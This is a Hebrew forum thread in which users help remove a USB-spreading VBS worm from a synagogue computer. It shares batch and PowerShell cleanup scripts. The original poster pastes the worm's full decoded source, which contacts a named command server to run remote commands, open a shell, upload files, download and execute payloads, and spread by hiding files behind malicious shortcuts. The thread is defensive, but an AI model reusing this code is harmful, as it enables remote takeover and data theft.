דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
24 פוסטים 7 כותבים 186 צפיות 5 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • מתכנת חובבמ מתכנת חובב

    @cfopuser הוא לא יטפל בזה
    עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
    מה- startup הוא מנקה רק את אלו

    for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
        if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
    

    כנ"ל מהרגיסטרי

    ::Clean Registry / Startup
    For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
    	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
    		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
    			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
    			)
    		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
    			reg delete %%~P /v "%%~A" /f		
    			)
    		reg query %%~P /s
    		)
    	)
    for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
    	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
    		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
    	)
    	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
    		reg delete %%~P /v "%%~A" /f
    		)
    	reg query %%~P /s
    	)
    

    וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

    ::internal drives
    for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
    	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
    		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
    		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
    		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
    		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
    		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
    		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
    		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
    		)
    	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
    		attrib -s -h -r "%%X\%%A"
    		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
    		)
    	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
    		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
    			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
    			)
    		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
    			attrib -s -h -r "%%X\%%D\%%A"
    			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
    			)
    		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
    		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
    		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
    		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
    		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
    		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
    		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
    		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
    		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
    		)
    	set "AutoHK.NAPd="
    	)
    

    המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

    cfopuserC מנותק
    cfopuserC מנותק
    cfopuser
    כתב נערך לאחרונה על ידי
    #9

    @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

    המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

    או לכבות vbs דרך הריג'יסטרי.

    מתכנת חובבמ תגובה 1 תגובה אחרונה
    1
    • cfopuserC cfopuser

      @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

      המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

      או לכבות vbs דרך הריג'יסטרי.

      מתכנת חובבמ מנותק
      מתכנת חובבמ מנותק
      מתכנת חובב
      מדריכים
      כתב נערך לאחרונה על ידי
      #10

      @cfopuser בשביל מה?
      אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

      cfopuserC תגובה 1 תגובה אחרונה
      0
      • מתכנת חובבמ מתכנת חובב

        @cfopuser בשביל מה?
        אם יש אנטי וירוס נורמלי וזה לא מחשב שיושבים עליו נתונים פרטיים לא צריך ללכת רחוק כל כך

        cfopuserC מנותק
        cfopuserC מנותק
        cfopuser
        כתב נערך לאחרונה על ידי
        #11

        @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

        @cfopuser בשביל מה?

        לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

        מתכנת חובבמ תגובה 1 תגובה אחרונה
        0
        • ר רנדומלי

          בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

          cmd /c hrxxryydxo.vbs && start explorer [file name]
          

          הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

          לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

          תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

          לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

          z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
          

          בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
          לאחר פיענוח הקידוד התקבל הקוד הבא:
          אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

          e
          '<[ recoder : houdini (c) skype : houdini-fx ]>
          
          '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
          
          host = "khattab.no-ip.biz"
          port = 5550
          installdir = "%temp%"
          lnkfile = true
          lnkfolder = true
          
          '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
          
          dim shellobj 
          set shellobj = wscript.createobject("wscript.shell")
          dim filesystemobj
          set filesystemobj = createobject("scripting.filesystemobject")
          dim httpobj
          set httpobj = createobject("msxml2.xmlhttp")
          
          '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
          
          installname = wscript.scriptname
          startup = shellobj.specialfolders ("startup") & "\"
          installdir = shellobj.expandenvironmentstrings(installdir) & "\"
          if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
          spliter = "<" & "|" & ">"
          sleep = 5000 
          dim response
          dim cmd
          dim param
          info = ""
          usbspreading = ""
          startdate = ""
          dim oneonce
          
          '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
          on error resume next
          
          instance
          while true
          
          install
          
          response = ""
          response = post ("is-ready","")
          cmd = split (response,spliter)
          select case cmd (0)
          case "excecute"
                param = cmd (1)
                execute param
          case "update"
                param = cmd (1)
                oneonce.close
                set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                oneonce.write param
                oneonce.close
                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                wscript.quit 
          case "uninstall"
                uninstall
          case "send"
                download cmd (1),cmd (2)
          case "site-send"
                sitedownloader cmd (1),cmd (2)
          case "recv"
                param = cmd (1)
                upload (param)
          case  "enum-driver"
                post "is-enum-driver",enumdriver  
          case  "enum-faf"
                param = cmd (1)
                post "is-enum-faf",enumfaf (param)
          case  "enum-process"
                post "is-enum-process",enumprocess   
          case  "cmd-shell"
                param = cmd (1)
                post "is-cmd-shell",cmdshell (param)  
          case  "delete"
                param = cmd (1)
                deletefaf (param) 
          case  "exit-process"
                param = cmd (1)
                exitprocess (param) 
          case  "sleep"
                param = cmd (1)
                sleep = eval (param)        
          end select
          
          wscript.sleep sleep
          
          wend
          
          sub install
          on error resume next
          dim lnkobj
          dim filename
          dim foldername
          dim fileicon
          dim foldericon
          
          upstart
          for each drive in filesystemobj.drives
          
          if  drive.isready = true then
          if  drive.freespace  > 0 then
          if  drive.drivetype  = 1 then
              filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
              if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                  filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
              end if
              for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                  if not lnkfile then exit for
                  if  instr (file.name,".") then
                      if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                          file.attributes = 2+4
                          if  ucase (file.name) <> ucase (installname) then
                              filename = split(file.name,".")
                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                              lnkobj.windowstyle = 7
                              lnkobj.targetpath = "cmd.exe"
                              lnkobj.workingdirectory = ""
                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                              fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                              if  instr (fileicon,",") = 0 then
                                  lnkobj.iconlocation = file.path
                              else 
                                  lnkobj.iconlocation = fileicon
                              end if
                              lnkobj.save()
                          end if
                      end if
                  end if
              next
              for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                  if not lnkfolder then exit for
                  folder.attributes = 2+4
                  foldername = folder.name
                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                  lnkobj.windowstyle = 7
                  lnkobj.targetpath = "cmd.exe"
                  lnkobj.workingdirectory = ""
                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                  foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                  if  instr (foldericon,",") = 0 then
                      lnkobj.iconlocation = folder.path
                  else 
                      lnkobj.iconlocation = foldericon
                  end if
                  lnkobj.save()
              next
          end If
          end If
          end if
          next
          err.clear
          end sub
          
          sub uninstall
          on error resume next
          dim filename
          dim foldername
          
          shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
          shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
          filesystemobj.deletefile startup & installname ,true
          filesystemobj.deletefile wscript.scriptfullname ,true
          
          for  each drive in filesystemobj.drives
          if  drive.isready = true then
          if  drive.freespace  > 0 then
          if  drive.drivetype  = 1 then
              for  each file in filesystemobj.getfolder ( drive.path & "\").files
                   on error resume next
                   if  instr (file.name,".") then
                       if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                           file.attributes = 0
                           if  ucase (file.name) <> ucase (installname) then
                               filename = split(file.name,".")
                               filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                           else
                               filesystemobj.deletefile (drive.path & "\" & file.name)
                           end If
                       else
                           filesystemobj.deletefile (file.path) 
                       end if
                   end if
               next
               for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                   folder.attributes = 0
               next
          end if
          end if
          end if
          next
          wscript.quit
          end sub
          
          function post (cmd ,param)
          
          post = param
          httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
          httpobj.setrequestheader "user-agent:",information
          httpobj.send param
          post = httpobj.responsetext
          end function
          
          function information
          on error resume next
          if  inf = "" then
              inf = hwid & spliter 
              inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
              inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
          
              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
              set os = root.execquery ("select * from win32_operatingsystem")
              for each osinfo in os
                 inf = inf & osinfo.caption & spliter  
                 exit for
              next
              inf = inf & "plus" & spliter
              inf = inf & security & spliter
              inf = inf & usbspreading
              information = inf  
          else
              information = inf
          end if
          end function
          
          sub upstart ()
          on error resume Next
          
          shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
          filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
          filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
          
          end sub
          
          function hwid
          on error resume next
          
          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
          set disks = root.execquery ("select * from win32_logicaldisk")
          for each disk in disks
              if  disk.volumeserialnumber <> "" then
                  hwid = disk.volumeserialnumber
                  exit for
              end if
          next
          end function
          
          function security 
          on error resume next
          
          security = ""
          
          set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
          set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
          for each objitem in colitems
              versionstr = split (objitem.version,".")
          next
          versionstr = split (colitems.version,".")
          osversion = versionstr (0) & "."
          for  x = 1 to ubound (versionstr)
               osversion = osversion &  versionstr (i)
          next
          osversion = eval (osversion)
          if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
          
          set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
          Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
          
          for each objantivirus in colantivirus
              security  = security  & objantivirus.displayname & " ."
          next
          if security  = "" then security  = "nan-av"
          end function
          
          function instance
          on error resume next
          
          usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
          if usbspreading = "" then
             if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                usbspreading = "true - " & date
                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
             else
                usbspreading = "false - " & date
                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
          
             end if
          end If
          
          
          upstart
          set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
          set installfullnameshort =  filesystemobj.getfile (installdir & installname)
          if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
              wscript.quit 
          end If
          err.clear
          set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
          if  err.number > 0 then wscript.quit
          end function
          
          sub sitedownloader (fileurl,filename)
          
          strlink = fileurl
          strsaveto = installdir & filename
          set objhttpdownload = createobject("msxml2.xmlhttp" )
          objhttpdownload.open "get", strlink, false
          objhttpdownload.send
          
          set objfsodownload = createobject ("scripting.filesystemobject")
          if  objfsodownload.fileexists (strsaveto) then
              objfsodownload.deletefile (strsaveto)
          end if
           
          if objhttpdownload.status = 200 then
             dim  objstreamdownload
             set  objstreamdownload = createobject("adodb.stream")
             with objstreamdownload
                  .type = 1 
                  .open
                  .write objhttpdownload.responsebody
                  .savetofile strsaveto
                  .close
             end with
             set objstreamdownload = nothing
          end if
          if objfsodownload.fileexists(strsaveto) then
             shellobj.run objfsodownload.getfile (strsaveto).shortpath
          end if 
          end sub
          
          sub download (fileurl,filedir)
          
          if filedir = "" then 
             filedir = installdir
          end if
          
          strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
          set objhttpdownload = createobject("msxml2.xmlhttp")
          objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
          objhttpdownload.send ""
               
          set objfsodownload = createobject ("scripting.filesystemobject")
          if  objfsodownload.fileexists (strsaveto) then
              objfsodownload.deletefile (strsaveto)
          end if
          if  objhttpdownload.status = 200 then
              dim  objstreamdownload
              set  objstreamdownload = createobject("adodb.stream")
              with objstreamdownload 
                   .type = 1 
                   .open
                   .write objhttpdownload.responsebody
                   .savetofile strsaveto
                   .close
              end with
              set objstreamdownload  = nothing
          end if
          if objfsodownload.fileexists(strsaveto) then
             shellobj.run objfsodownload.getfile (strsaveto).shortpath
          end if 
          end sub
          
          function upload (fileurl)
          
          dim  httpobj,objstreamuploade,buffer
          set  objstreamuploade = createobject("adodb.stream")
          with objstreamuploade 
               .type = 1 
               .open
               .loadfromfile fileurl
               buffer = .read
               .close
          end with
          set objstreamdownload = nothing
          set httpobj = createobject("msxml2.xmlhttp")
          httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
          httpobj.send buffer
          end function
          
          function enumdriver ()
          
          for  each drive in filesystemobj.drives
          if   drive.isready = true then
               enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
          end if
          next
          end Function
          
          function enumfaf (enumdir)
          
          enumfaf = enumdir & spliter
          for  each folder in filesystemobj.getfolder (enumdir).subfolders
               enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
          next
          
          for  each file in filesystemobj.getfolder (enumdir).files
               enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
          
          next
          end function
          
          function enumprocess ()
          
          on error resume next
          
          set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
          set colitems = objwmiservice.execquery("select * from win32_process",,48)
          
          dim objitem
          for each objitem in colitems
              enumprocess = enumprocess & objitem.name & "|"
              enumprocess = enumprocess & objitem.processid & "|"
              enumprocess = enumprocess & objitem.executablepath & spliter
          next
          end function
          
          sub exitprocess (pid)
          on error resume next
          
          shellobj.run "taskkill /F /T /PID " & pid,7,true
          end sub
          
          sub deletefaf (url)
          on error resume next
          
          filesystemobj.deletefile url
          filesystemobj.deletefolder url
          
          end sub
          
          function cmdshell (cmd)
          
          dim httpobj,oexec,readallfromany
          
          set oexec = shellobj.exec ("%comspec% /c " & cmd)
          if not oexec.stdout.atendofstream then
             readallfromany = oexec.stdout.readall
          elseif not oexec.stderr.atendofstream then
             readallfromany = oexec.stderr.readall
          else 
             readallfromany = ""
          end if
          
          cmdshell = readallfromany
          end function
          
          מתכנת חובבמ מנותק
          מתכנת חובבמ מנותק
          מתכנת חובב
          מדריכים
          כתב נערך לאחרונה על ידי
          #12

          @רנדומלי בקשה פשוטה מג'מיני בצירף הקוד של הוירוס הניבה סקריפט PS שמטפל בזה

          $vName = "hrxxryydxo"
          $vFile = "$vName.vbs"
          
          Write-Host "--- מתחיל בניקוי המחשב ---" -ForegroundColor Cyan
          
          # 1. עצירת התהליך החי במחשב
          Get-CimInstance Win32_Process -Filter "Name = 'wscript.exe'" | 
              Where-Object CommandLine -match $vName | 
              Invoke-CimMethod -MethodName Terminate | Out-Null
          Write-Host "[+] תהליך הווירוס בזיכרון נעצר." -ForegroundColor Green
          
          # 2. עקירת שורשי ההפעלה מהרגיסטרי (Registry) במחשב
          Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
          Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $vName -ErrorAction SilentlyContinue
          Remove-Item -Path "HKLM:\Software\$vName" -Recurse -ErrorAction SilentlyContinue
          Write-Host "[+] ערכי הרישום וההפעלה האוטומטית נוקו." -ForegroundColor Green
          
          # 3. מחיקת הקבצים הפיזיים מהמחשב (מתיקיות Temp ו-Startup)
          $tempDir = [System.IO.Path]::GetTempPath()
          $startupDir = [Environment]::GetFolderPath('Startup')
          Remove-Item -Path "$tempDir\$vFile" -Force -ErrorAction SilentlyContinue
          Remove-Item -Path "$startupDir\$vFile" -Force -ErrorAction SilentlyContinue
          Write-Host "[+] קבצי הווירוס נמחקו מהמחשב (Temp, Startup)." -ForegroundColor Green
          
          
          Write-Host "--- מתחיל בסריקת כוננים חיצוניים ---" -ForegroundColor Cyan
          
          # 4. ניקוי כל הכוננים החיצוניים המחוברים ושחזור קבצים
          $usbDrives = Get-CimInstance Win32_LogicalDisk -Filter "DriveType = 2"
          
          if ($usbDrives.Count -eq 0) {
              Write-Host "[-] לא זוהו כונני USB מחוברים." -ForegroundColor Yellow
          } else {
              foreach ($drive in $usbDrives) {
                  $driveLetter = $drive.DeviceID + "\" 
                  Write-Host "סורק כונן $driveLetter..." -ForegroundColor Cyan
          
                  # מחיקת קיצורי הדרך המזויפים וקובץ הווירוס מהכונן
                  Remove-Item -Path "$driveLetter*.lnk" -Force -ErrorAction SilentlyContinue
                  Remove-Item -Path "$driveLetter$vFile" -Force -ErrorAction SilentlyContinue
          
                  # פעולת התיקון הלוגית: ביטול דגלי ההסתרה והמערכת
                  Get-ChildItem -Path $driveLetter -Force | ForEach-Object {
                      if (($_.Attributes -band [System.IO.FileAttributes]::Hidden) -or ($_.Attributes -band [System.IO.FileAttributes]::System)) {
                          $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::Hidden
                          $_.Attributes = $_.Attributes -band -bnot [System.IO.FileAttributes]::System
                      }
                  }
                  Write-Host "[+] כונן $driveLetter נוקה והקבצים המקוריים שוחזרו." -ForegroundColor Green
              }
          }
          
          Write-Host "--- הניקוי הושלם במלואו! ---" -ForegroundColor Green
          

          לשמור את זה עם הסיומת ps1 ולהריץ כמנהל

          צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

          תגובה 1 תגובה אחרונה
          0
          • cfopuserC cfopuser

            @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

            @cfopuser בשביל מה?

            לחסום הדבקות פעם נוספת, האנטי וירוס לא הועיל כפי שכבר הוכח.

            מתכנת חובבמ מנותק
            מתכנת חובבמ מנותק
            מתכנת חובב
            מדריכים
            כתב נערך לאחרונה על ידי מתכנת חובב
            #13

            @cfopuser הוא לא כתב איזה אנטי וירוס יש שם אבל אנטי וירוס נורמלי שמוגדר בצורה נורמלית ומחשב עם בקרת UAC נורמלית לא אמורים להידבק בוירוסים האלו
            זה וירוס קל מאוד לזיהוי (אפשר לראות בקוד חתימה ברורה וכל מנוע יוריסטי יזהה את הפעילות שלו)
            עריכה: אפילו בניתוח סטטי הוא מזוהה על ידי 47 מתוך 62 בוירוס טוטאל

            צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

            תגובה 1 תגובה אחרונה
            2
            • ר רנדומלי

              בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

              cmd /c hrxxryydxo.vbs && start explorer [file name]
              

              הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

